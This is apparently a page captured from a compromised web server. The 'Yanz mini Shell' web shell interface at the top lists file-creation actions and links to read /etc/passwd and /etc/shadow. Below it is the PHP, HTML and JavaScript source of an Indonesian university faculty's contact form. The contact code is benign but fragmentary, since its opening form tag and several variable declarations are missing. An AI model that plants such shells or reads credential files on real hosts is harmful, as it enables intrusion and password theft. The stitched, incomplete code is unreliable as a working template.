Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
// =============================================================
// kontak.php - Halaman Kontak
// =============================================================
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/kontak_handler.php';

$page_title       = 'Hubungi Kami - ' . setting('site_name');
$meta_description = 'Hubungi Fakultas Sains UNCP - alamat, telepon, email, dan formulir kontak.';

// Handle form submission — jalur ini tetap ada sebagai FALLBACK kalau JS mati.
// Kalau JS aktif, submit sebenarnya lewat AJAX ke api/kontak-submit.php (lihat script di bawah).
$success        = false;
$error          = '';
$field_errors   = [];
$saved_kategori = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $token = $_POST['csrf_token'] ?? '';
    if (!csrfValidate($token)) {
        $error = 'Token keamanan tidak valid. Silakan refresh halaman dan coba lagi.';
    } else {
        $result       = processKontakSubmission($conn, $_POST);
        $success      = $result['success'];
        $error        = $result['error'];
        $field_errors = $result['field_errors'];
        $saved_kategori = $result['saved_kategori'];
        if ($success) $_POST = [];
    }
}

include __DIR__ . '/../includes/header.php';
?>

<div class="page-hero" style="background: linear-gradient(135deg, #0a2b3e, #115277); color: white; padding: 80px 0 60px;">
  <div class="container">
    <nav style="font-size: 0.85rem; opacity: 0.8; margin-bottom: 16px;">
      <a href="<?= $base_url ?>/index.php" style="color: #fff000; text-decoration: none;">Beranda</a>
      <span style="margin: 0 8px;">›</span>
      <span>Hubungi Kami</span>
    </nav>
    <h1 style="font-family: 'Poppins', sans-serif; font-size: 2.5rem; font-weight: 800;" data-aos="fade-up">
      Hubungi Kami
    </h1>
    <p style="opacity: 0.9; max-width: 720px; margin-top: 12px;" data-aos="fade-up" data-aos-delay="100">
      Kami siap melayani pertanyaan dan informasi seputar Fakultas Sains UNCP.
    </p>
  </div>
</div>

<div data-aos="fade-up">
      <h2 style="font-family:'Poppins',sans-serif;font-size:1.5rem;color:#0a2b3e;margin-bottom:24px;">
        Informasi Kontak
      </h2>

<div style="background: white; border-radius: 20px; padding: 28px; box-shadow: 0 10px 30px rgba(0,0,0,0.06);">
        <div style="display:flex;gap:16px;margin-bottom:20px;">
          <div style="width:48px;height:48px;background:#e6f7ff;border-radius:12px;
                      display:flex;align-items:center;justify-content:center;flex-shrink:0;">
            <i class="fas fa-map-marker-alt" style="color:#00bfff;font-size:20px;"></i>
          </div>
          <div>
            <div style="font-weight:700;color:#0a2b3e;margin-bottom:4px;">Alamat</div>
            <div style="color:#64748b;line-height:1.6;"><?= e(setting('address')) ?></div>
          </div>
        </div>

<div style="display:flex;gap:16px;margin-bottom:20px;">
          <div style="width:48px;height:48px;background:#e6f7ff;border-radius:12px;
                      display:flex;align-items:center;justify-content:center;flex-shrink:0;">
            <i class="fas fa-phone" style="color:#00bfff;font-size:20px;"></i>
          </div>
          <div>
            <div style="font-weight:700;color:#0a2b3e;margin-bottom:4px;">Telepon</div>
            <div style="color:#64748b;"><?= e(setting('phone')) ?></div>
          </div>
        </div>

<div style="display:flex;gap:16px;margin-bottom:20px;">
          <div style="width:48px;height:48px;background:#e6f7ff;border-radius:12px;
                      display:flex;align-items:center;justify-content:center;flex-shrink:0;">
            <i class="fas fa-envelope" style="color:#00bfff;font-size:20px;"></i>
          </div>
          <div>
            <div style="font-weight:700;color:#0a2b3e;margin-bottom:4px;">Email</div>
            <a href="mailto:<?= e(setting('email')) ?>" style="color:#00bfff;text-decoration:none;">
              <?= e(setting('email')) ?>
            </a>
          </div>
        </div>

<?php if (setting('whatsapp')): ?>
        <div style="display:flex;gap:16px;">
          <div style="width:48px;height:48px;background:#dcfce7;border-radius:12px;
                      display:flex;align-items:center;justify-content:center;flex-shrink:0;">
            <i class="fab fa-whatsapp" style="color:#25D366;font-size:22px;"></i>
          </div>
          <div>
            <div style="font-weight:700;color:#0a2b3e;margin-bottom:4px;">WhatsApp</div>
            <a href="https://wa.me/<?= e(setting('whatsapp')) ?>" target="_blank" rel="noopener"
               style="color:#25D366;text-decoration:none;font-weight:600;">
              Chat sekarang →
            </a>
          </div>
        </div>
        <?php endif; ?>
      </div>

<div data-aos="fade-up" data-aos-delay="100">
      <h2 style="font-family:'Poppins',sans-serif;font-size:1.5rem;color:#0a2b3e;margin-bottom:24px;">
        Kirim Pesan
      </h2>

<div id="kontakSuccessBox" style="<?= $success ? '' : 'display:none;' ?> background:#d1fae5;color:#065f46;padding:20px;border-radius:12px;margin-bottom:20px;border-left:4px solid #10b981;">
        <div style="font-size:1.05rem;font-weight:700;margin-bottom:6px;">
          <i class="fas fa-check-circle"></i> Pesan Berhasil Terkirim ke Admin!
        </div>
        <p style="margin:6px 0 0;font-size:0.92rem;">
          Pesan <strong id="kontakSuccessKategori"><?= e($saved_kategori ?: 'kontak') ?></strong> Anda sudah masuk ke <strong>inbox admin Fakultas Sains UNCP</strong>. Tim kami akan membaca dan membalas via <strong>email yang Anda berikan</strong> dalam <strong>1–3 hari kerja</strong>.
        </p>
        <p style="margin:8px 0 0;font-size:0.85rem;color:#047857;">
          <i class="fas fa-info-circle"></i> Pesan tidak dikirim ke nomor WhatsApp publik — hanya ke admin agar tetap private.
        </p>
      </div>

<div id="kontakErrorBox" style="<?= ($error && empty($field_errors)) ? '' : 'display:none;' ?> background:#fee2e2;color:#991b1b;padding:16px 20px;border-radius:12px;margin-bottom:20px;">
        <i class="fas fa-exclamation-circle"></i> <span id="kontakErrorText"><?= e($error) ?></span>
      </div>

<div style="margin-bottom: 18px;">
          <label style="display:block;font-weight:600;color:#0a2b3e;margin-bottom:8px;">Kategori Pesan *</label>
          <select name="kategori" id="kategori-select" required class="kontak-input"
                  style="width:100%;padding:14px 18px;border:2px solid #e5e7eb;border-radius:12px;font-size:1rem;font-family:inherit;background:white;">
            <option value="kontak"    <?= ($_POST['kategori'] ?? 'kontak') === 'kontak' ? 'selected' : '' ?>>📩 Kontak / Pertanyaan Umum</option>
            <option value="pengaduan" <?= ($_POST['kategori'] ?? '') === 'pengaduan' ? 'selected' : '' ?>>⚠️ Pengaduan / Keluhan</option>
            <option value="saran"     <?= ($_POST['kategori'] ?? '') === 'saran' ? 'selected' : '' ?>>💡 Saran / Masukan</option>
          </select>
          <p style="font-size:0.78rem;color:#64748b;margin-top:6px;">
            <span class="cat-hint" data-cat="kontak">Pertanyaan umum tentang fakultas, pendaftaran, akademik, dll.</span>
            <span class="cat-hint" data-cat="pengaduan" style="display:none;">Keluhan tentang layanan, fasilitas, atau pelayanan staf/dosen.</span>
            <span class="cat-hint" data-cat="saran" style="display:none;">Ide perbaikan untuk fakultas atau program studi.</span>
          </p>
        </div>

<div style="display:grid;grid-template-columns:1fr 1fr;gap:14px;margin-bottom:18px;">
          <div>
            <label style="display:block;font-weight:600;color:#0a2b3e;margin-bottom:8px;">Nama Lengkap *</label>
            <input type="text" name="nama" id="f-nama" required minlength="3" maxlength="100"
                   value="<?= e($_POST['nama'] ?? '') ?>" class="kontak-input"
                   style="width:100%;padding:14px 18px;border:2px solid #e5e7eb;border-radius:12px;font-size:1rem;font-family:inherit;">
            <p class="kontak-field-error" data-for="nama"><?= e($field_errors['nama'] ?? '') ?></p>
          </div>
          <div>
            <label style="display:block;font-weight:600;color:#0a2b3e;margin-bottom:8px;">Email *</label>
            <input type="email" name="email" id="f-email" required maxlength="120"
                   placeholder="email@anda.com" class="kontak-input"
                   value="<?= e($_POST['email'] ?? '') ?>"
                   style="width:100%;padding:14px 18px;border:2px solid #e5e7eb;border-radius:12px;font-size:1rem;font-family:inherit;">
            <p class="kontak-field-error" data-for="email"><?= e($field_errors['email'] ?? '') ?></p>
          </div>
        </div>

<div style="display:grid;grid-template-columns:1fr 1fr;gap:14px;margin-bottom:18px;">
          <div>
            <label style="display:block;font-weight:600;color:#0a2b3e;margin-bottom:8px;">WhatsApp <span style="color:#94a3b8;font-weight:400;">(opsional)</span></label>
            <input type="tel" name="whatsapp" maxlength="20" class="kontak-input"
                   placeholder="08xxxxxxxxxx"
                   value="<?= e($_POST['whatsapp'] ?? '') ?>"
                   style="width:100%;padding:14px 18px;border:2px solid #e5e7eb;border-radius:12px;font-size:1rem;font-family:inherit;">
          </div>
          <div>
            <label style="display:block;font-weight:600;color:#0a2b3e;margin-bottom:8px;">NIM <span style="color:#94a3b8;font-weight:400;">(opsional)</span></label>
            <input type="text" name="nim" maxlength="50" class="kontak-input"
                   placeholder="Mahasiswa? isi NIM"
                   value="<?= e($_POST['nim'] ?? '') ?>"
                   style="width:100%;padding:14px 18px;border:2px solid #e5e7eb;border-radius:12px;font-size:1rem;font-family:inherit;">
          </div>
        </div>

<div style="margin-bottom: 18px;">
          <label style="display:block;font-weight:600;color:#0a2b3e;margin-bottom:8px;">Subjek <span style="color:#94a3b8;font-weight:400;">(opsional)</span></label>
          <input type="text" name="subjek" maxlength="255" class="kontak-input"
                 placeholder="Ringkas: tentang apa pesan ini"
                 value="<?= e($_POST['subjek'] ?? '') ?>"
                 style="width:100%;padding:14px 18px;border:2px solid #e5e7eb;border-radius:12px;font-size:1rem;font-family:inherit;">
        </div>

<div style="margin-bottom: 24px;">
          <label style="display:block;font-weight:600;color:#0a2b3e;margin-bottom:8px;">Pesan *</label>
          <textarea name="pesan" id="f-pesan" required minlength="10" maxlength="2000" rows="6" class="kontak-input"
                    placeholder="Jelaskan detail pesan Anda di sini..."
                    style="width:100%;padding:14px 18px;border:2px solid #e5e7eb;border-radius:12px;font-size:1rem;font-family:inherit;resize:vertical;"><?= e($_POST['pesan'] ?? '') ?></textarea>
          <div style="display:flex; justify-content:space-between; margin-top:6px;">
            <p class="kontak-field-error" data-for="pesan" style="margin:0;"><?= e($field_errors['pesan'] ?? '') ?></p>
            <p id="pesanCounter" style="font-size:0.78rem;color:#94a3b8;margin:0;">0/2000</p>
          </div>
        </div>

<button type="submit" id="kontakSubmitBtn"
                style="width:100%;background:#0a2b3e;color:white;border:none;padding:16px;border-radius:12px;font-size:1rem;font-weight:700;cursor:pointer;transition:background 0.2s;font-family:inherit;"
                onmouseover="this.style.background='#115277'"
                onmouseout="this.style.background='#0a2b3e'">
          <i class="fas fa-paper-plane"></i> <span id="kontakSubmitLabel">Kirim ke Admin</span>
        </button>
        <p style="font-size:0.82rem;color:#64748b;margin-top:14px;text-align:center;line-height:1.5;">
          <i class="fas fa-lock"></i> Pesan Anda <strong>privat</strong> — hanya admin yang menerima.<br>
          Balasan dikirim ke email <strong>yang Anda isi di atas</strong>.
        </p>
      </form>

const catLabels = { kontak: 'kontak', pengaduan: 'pengaduan', saran: 'saran' };

// --- Validasi real-time per field ---
  function fieldErrorEl(name) { return form.querySelector('.kontak-field-error[data-for="' + name + '"]'); }

['f-nama', 'f-email', 'f-pesan'].forEach(function (id) {
    const el = document.getElementById(id);
    if (!el) return;
    el.addEventListener('blur', function () { validateField(el); });
    el.addEventListener('input', function () {
      // Hapus status error saat mulai mengetik ulang; validasi penuh terjadi di blur/submit
      if (el.classList.contains('kontak-invalid')) validateField(el);
    });
  });

if (pesanEl && pesanCounter) {
    pesanEl.addEventListener('input', function () {
      pesanCounter.textContent = pesanEl.value.length + '/2000';
    });
    pesanCounter.textContent = pesanEl.value.length + '/2000';
  }

// --- Submit via AJAX ---
  form.addEventListener('submit', function (e) {
    e.preventDefault();

const namaOk  = validateField(document.getElementById('f-nama'));
    const emailOk = validateField(document.getElementById('f-email'));
    const pesanOk = validateField(document.getElementById('f-pesan'));
    if (!namaOk || !emailOk || !pesanOk) {
      form.querySelector('.kontak-invalid')?.scrollIntoView({ behavior: 'smooth', block: 'center' });
      return;
    }

btn.disabled = true;
    btnLabel.textContent = 'Mengirim...';
    errorBox.style.display = 'none';
    successBox.style.display = 'none';

const formData = new FormData(form);

fetch('<?= $base_url ?>/api/kontak-submit.php', { method: 'POST', body: formData })
      .then(function (res) { return res.json(); })
      .then(function (data) {
        btn.disabled = false;
        btnLabel.textContent = 'Kirim ke Admin';

if (data.csrf_token) csrfInput.value = data.csrf_token;

if (data.success) {
          successCat.textContent = catLabels[data.saved_kategori] || 'kontak';
          successBox.style.display = 'block';
          successBox.scrollIntoView({ behavior: 'smooth', block: 'center' });
          form.reset();
          if (pesanCounter) pesanCounter.textContent = '0/2000';
          form.querySelectorAll('.kontak-invalid, .kontak-valid').forEach(function (el) {
            el.classList.remove('kontak-invalid', 'kontak-valid');
          });
          form.querySelectorAll('.kontak-field-error').forEach(function (el) { el.textContent = ''; });
        } else if (data.field_errors && Object.keys(data.field_errors).length > 0) {
          Object.keys(data.field_errors).forEach(function (name) {
            const errEl = fieldErrorEl(name);
            const inputEl = document.getElementById('f-' + name);
            if (errEl) errEl.textContent = data.field_errors[name];
            if (inputEl) inputEl.classList.add('kontak-invalid');
          });
          errorText.textContent = data.error || 'Mohon periksa kembali form Anda.';
          errorBox.style.display = 'block';
          errorBox.scrollIntoView({ behavior: 'smooth', block: 'center' });
        } else {
          errorText.textContent = data.error || 'Terjadi kesalahan. Silakan coba lagi.';
          errorBox.style.display = 'block';
          errorBox.scrollIntoView({ behavior: 'smooth', block: 'center' });
        }
      })
      .catch(function () {
        // Fallback: kalau AJAX gagal total (network error dll), submit form biasa
        btn.disabled = false;
        btnLabel.textContent = 'Kirim ke Admin';
        form.submit();
      });
  });
})();
</script>

<?php include __DIR__ . '/../includes/footer.php'; ?>